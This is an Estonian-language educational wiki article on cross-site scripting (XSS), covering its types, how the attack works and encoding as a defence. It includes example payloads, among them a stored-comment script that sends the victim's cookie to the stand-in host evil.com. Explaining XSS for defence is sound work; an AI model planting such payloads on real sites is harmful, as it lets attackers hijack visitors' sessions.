XSS

Allikas: Teadmusbaas

Mis on XSS?

XSS ehk murdskriptimine (inglise keeles: Cross-site Scripting) on arvuti turbes kasutatav termin kindlat tüüpi rünnakute kirjeldamiseks. Vahel kasutatakse lühendit CSS, aga see on veebinduses kasutusel ja võib olla eksitav. X-täht lühendis tuleb inglise keelsest sõnast cross, mis eesti keeles tähendab rist.

XSS rünnakud on rünnakud kus ründaja nakatab hea ja usaldusväärse mainega veebilehti. Ründaja saadab pahatahtliku koodi veebilehele kasutades veebilehel olevaid välju. Seda tüüpi rünnakud töötavad kui veebilehed ei ole info väljastamisel infot kinnitanud või kodeerinud ümber, et ei saaks käivitada skripte.

XSS on olemas kolme tüüpi

  • Stored XSS
  • Reflected XSS
  • DOM-based XSS

Kuidas XSS töötab

XSS rünnakuks on vaja kolme asja: veebilehte, ohverit ja ründajat

Nakatatud koodi käivitamiseks ohvri brauseris peab ründaja enne leidma mooduse kuidas veebilehte nakatada. Ründaja võib kasutatada sotsiaalest manipuleerimist (inglise keeles: social engineering), et saada kätte ohvri andmed veebilehele.

Et XSS rünnak toimuks haavatavale veebilehele peab veebilehel olema väljad kus saab infot sisestada. Kui need on olemas sisestab ründaja koodi mida html tuvastab kui osa veebilehena.

Näited

<script> tag

See on kõigetavalisem meetod XSS rünnakute puhul. Nakatatud kood sisestatakse veebilehele kasutades <script> tag-i.

<script src=http://evil.com/xss.js></script> <script> alert("XSS"); </script>

Näide päris elust

Järgnevas näites tahab ründaja saada kätte ohvri küpsise (inglise keeles cookie). Ründaja postitab rünnatava koodi (näidatud all pool) veebilehele kommentaarina.

<script> window.location=“http://evil.com/?cookie=” + document.cookie </script>

Kui ohver läheb veebilehel kommentaare vaatama siis ründaja postitatud skript käivitub ja varastab ohvri küpsise.

  • Ründaja saadab veebiserverile XSS skripti
  • Klient vaatab hiljuti postitatud kommentaare
  • Serverist tuleb vastu ründaja poolt postitatud skript
  • Skript saadab ründajale küpsised.

caption

Kuidas kaitsta veebilehte XSS-i eest?

Enne andmete laadimist veebilehele peab andmed enne kodeerima ümber lihttekstiks, et andmetel olevaid skripte ei käivituks. Sama võib teha ka väljadel kui kasutaja sisestab näiteks kommentaari siis see enne kodeeritakse ümber kui saadetakse andmebaasi.

Kasutatud allikad